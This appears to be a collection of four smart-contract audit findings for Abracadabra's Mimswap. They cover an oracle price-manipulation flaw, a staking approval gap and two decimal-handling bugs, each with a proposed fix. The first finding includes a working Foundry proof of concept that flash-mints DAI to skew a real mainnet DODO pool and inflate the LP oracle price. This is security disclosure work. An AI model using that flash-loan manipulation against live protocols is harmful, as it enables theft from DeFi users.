Abracadabra Mimswap - SpicyMeatball's results

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/oracles/aggregators/MagicLpAggregator.sol#L42-L45

Vulnerability details

Impact

Oracle price can be manipulated.

Proof of Concept

MagicLpAggregator uses pool reserves to calculate the price of the pair token,

    function _getReserves() internal view virtual returns (uint256, uint256) {
        (uint256 baseReserve, uint256 quoteReserve) = pair.getReserves();
    }

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

>>      (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

however reserve values can be manipulated. For example, an attacker can use a flash loan to inflate the pair price, see coded POC below

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "utils/BaseTest.sol";
import "oracles/aggregators/MagicLpAggregator.sol";

// import "forge-std/console2.sol";

interface IDodo {
    function getVaultReserve() external view returns (uint256 baseReserve, uint256 quoteReserve);
    function _QUOTE_TOKEN_() external view returns (address);
    function sellBase(address to) external returns (uint256);
    function sellQuote(address to) external returns (uint256);
}

interface IFlashMinter {
    function flashLoan(address, address, uint256, bytes memory) external;
}

contract MagicLpAggregatorExt is MagicLpAggregator {

    constructor(
        IMagicLP pair_,
        IAggregator baseOracle_,
        IAggregator quoteOracle_
    ) MagicLpAggregator(pair_, baseOracle_, quoteOracle_) {}

    function _getReserves() internal view override returns (uint256, uint256) {
        return IDodo(address(pair)).getVaultReserve();
    }

}

contract Borrower {
    IFlashMinter private immutable minter;
    IDodo private immutable dodoPool;
    MagicLpAggregator private immutable oracle;

    constructor(address _minter, address _dodoPool, address _oracle) {
        minter = IFlashMinter(_minter);
        dodoPool = IDodo(_dodoPool);
        oracle = MagicLpAggregator(_oracle); 
    }

    /// Initiate a flash loan
    function flashBorrow(address token, uint256 amount) public {
        IERC20Metadata(token).approve(address(minter), ~uint256(0));
        minter.flashLoan(address(this), token, amount, "");
    }
    /// ERC-3156 Flash loan callback
    function onFlashLoan(
        address initiator,
        address token, // DAI
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        // tamper with the DAI/USDT pool
        IERC20Metadata(token).transfer(address(dodoPool), amount);
        dodoPool.sellBase(address(this));
        IERC20Metadata quote = IERC20Metadata(dodoPool._QUOTE_TOKEN_());
        uint256 quoteAmount = quote.balanceOf(address(this));
        // pair price after tampering
        uint256 response = uint256(oracle.latestAnswer());
        console.log("BAD ANSWER: ", response);
        // Do something evil here

        // swap tokens back and repay the loan
        address(quote).call{value: 0}(abi.encodeWithSignature("transfer(address,uint256)", address(dodoPool), quoteAmount));
        dodoPool.sellQuote(address(this));
        IERC20Metadata(token).transfer(initiator, amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}


contract MagicLpAggregatorTest is BaseTest {
    MagicLpAggregatorExt aggregator;
    address public DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
    address constant DAI_MINTER = 0x60744434d6339a6B27d73d9Eda62b6F66a0a04FA;
    address constant DODO_POOL = 0x3058EF90929cb8180174D74C507176ccA6835D73;

    function setUp() public override {
        fork(ChainId.Mainnet, 19365773);
        _setUp();
    }

    function _setUp() public {
        super.setUp();

        aggregator = new MagicLpAggregatorExt(
            IMagicLP(DODO_POOL),
            IAggregator(0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9),
            IAggregator(0x3E7d1eAB13ad0104d2750B8863b489D65364e32D)
        );
    }

    function testGetResult() public {
        uint256 response = uint256(aggregator.latestAnswer());
        // pair price before ~ $2
        assertEq(response, 2000502847471294054);
        console.log("GOOD ANSWER: ", response);
        // use DAI flash minter to inflate the pair price to $67
        Borrower borrower = new Borrower(DAI_MINTER, DODO_POOL, address(aggregator));
        deal(DAI, address(borrower), 1100 * 1e18);
        IERC20Metadata(DAI).approve(address(borrower), type(uint256).max);
        borrower.flashBorrow(DAI, 100_000_000 ether);
    }
}

In this test, a user increased the price of DAI/USDT pair token from 2 USD to 67 USD using DAI Flash Minter.

Tools Used

Foundry, MagicLpAggregator.t.sol

Recommended Mitigation Steps

Consider adding a sanity check, where base and quote token prices are compared with the chainlink price feed

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

+       uint256 midPrice = pair.getMidPrice() * (10 ** (WAD - 6);
+       uint256 feedPrice = baseAnswerNormalized * WAD / quoteAnswerNormalized;
+       uint256 difference = midPrice > feedPrice
+           ? (midPrice - feedPrice) * 10000 / midPrice
+           : (feedPrice - midPrice) * 10000 / feedPrice;
+       // if too big difference - revert
+       if (difference >= MAX_DIFFERENCE) {
+           revert PriceDifferenceExceeded();
+       }

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
        baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
        quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/blast/BlastOnboardingBoot.sol#L137-L144 https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/blast/BlastOnboardingBoot.sol#L122

Vulnerability details

Impact

Switching staking contract after bootstrapping will block claiming of pool shares.

Proof of Concept

setStaking function allows the owner to change staking after bootstrapping process

    function setStaking(LockingMultiRewards _staking) external onlyOwner {
        if (ready) {
            revert ErrCannotChangeOnceReady();
        }

        staking = _staking;
        emit LogStakingChanged(address(_staking));
    }

Unfortunately, it doesn't set approval for pool share tokens currently held in the contract, as we can see the contract mints pool shares during bootstrapping

    function bootstrap(uint256 minAmountOut) external onlyOwner onlyState(State.Closed) returns (address, address, uint256) {
        ...
        (pool, totalPoolShares) = router.createPool(MIM, USDB, FEE_RATE, I, K, address(this), baseAmount, quoteAmount);

        staking = new LockingMultiRewards(pool, 30_000, 7 days, 13 weeks, address(this));
        staking.setOperator(address(this), true);
        staking.transferOwnership(owner);

        // Approve staking contract
>>      pool.safeApprove(address(staking), totalPoolShares);

        emit LogLiquidityBootstrapped(pool, address(staking), totalPoolShares);

        return (pool, address(staking), totalPoolShares);
    }

and approves them to the staking contract so users may claim and stake them afterwards. However, the new staking contract won't be able to do this because it lacks approval.

Tools Used

Manual review

Recommended Mitigation Steps

Approve totalPoolShares amount to the new staking contract in setStaking.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/oracles/aggregators/MagicLpAggregator.sol#L43-L45 https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L164

Vulnerability details

Impact

Incorrect price calculation for pairs in which base token decimal count is not 18.

Proof of Concept

Here is how the MagicLpAggregator calculates the pair price.

    function latestAnswer() public view override returns (int256) {
        uint256 baseAnswerNomalized = uint256(baseOracle.latestAnswer()) * (10 ** (WAD - baseOracle.decimals()));
        uint256 quoteAnswerNormalized = uint256(quoteOracle.latestAnswer()) * (10 ** (WAD - quoteOracle.decimals()));
        uint256 minAnswer = baseAnswerNomalized < quoteAnswerNormalized ? baseAnswerNomalized : quoteAnswerNormalized;

        (uint256 baseReserve, uint256 quoteReserve) = _getReserves();
>>      baseReserve = baseReserve * (10 ** (WAD - baseDecimals));
>>      quoteReserve = quoteReserve * (10 ** (WAD - quoteDecimals));
        return int256(minAnswer * (baseReserve + quoteReserve) / pair.totalSupply());
    }

Note how base and quote reserve amounts are converted into 18 decimals format, but later "raw" totalSupply value is used as a divisor. Pool token decimal count is equal to the base token decimals, https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/MagicLP.sol#L164

    function decimals() public view override returns (uint8) {
        return IERC20Metadata(_BASE_TOKEN_).decimals();
    }

pool token decimals other than 18 will lead to incorrect price calculations. For example, 10^18 amounts are divided by 10^6 total supply in case of USDC/USDT pair.

Tools Used

Manual review

Recommended Mitigation Steps

Normalize totalSupply value

totalSupply = pair.totalSupply() * (10 ** (WAD - baseDecimals)

Assessed type

Oracle

Lines of code

https://github.com/code-423n4/2024-03-abracadabra-money/blob/main/src/mimswap/periphery/Router.sol#L602

Vulnerability details

Impact

The router can't create a pool where the quote token has fewer decimals than the base token.

Proof of Concept

When the pool is created, the router validates token decimals.

    function createPool(
        address baseToken,
        address quoteToken,
        uint256 lpFeeRate,
        uint256 i,
        uint256 k,
        address to,
        uint256 baseInAmount,
        uint256 quoteInAmount
    ) external returns (address clone, uint256 shares) {
>>      _validateDecimals(IERC20Metadata(baseToken).decimals(), IERC20Metadata(quoteToken).decimals());

        clone = IFactory(factory).create(baseToken, quoteToken, lpFeeRate, i, k);

        baseToken.safeTransferFrom(msg.sender, clone, baseInAmount);
        quoteToken.safeTransferFrom(msg.sender, clone, quoteInAmount);
        (shares, , ) = IMagicLP(clone).buyShares(to);
    }

It's a sanity check that ensures decimals are not zero, and their difference is lower than 12

    function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
        if (baseDecimals == 0 || quoteDecimals == 0) {
            revert ErrZeroDecimals();
        }
>>      if (quoteDecimals - baseDecimals > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
            revert ErrDecimalsDifferenceTooLarge();
        }
    }

Unfortunately, it's implementation does not allow for the creation of pools in which the quote token decimals are lower than the base one, including the ubiquitous WETH/USDC pair (USDC has 6 decimals and WETH has 18).

Tools Used

Manual review

Recommended Mitigation Steps

Refactor _validateDecimals

    function _validateDecimals(uint8 baseDecimals, uint8 quoteDecimals) internal pure {
        if (baseDecimals == 0 || quoteDecimals == 0) {
            revert ErrZeroDecimals();
        }
+       uint8 diff = quoteDecimals > baseDecimals ? quoteDecimals - baseDecimals : baseDecimals - quoteDecimals;
+       if (diff > MAX_BASE_QUOTE_DECIMALS_DIFFERENCE) {
            revert ErrDecimalsDifferenceTooLarge();
        }
    }

Assessed type

Error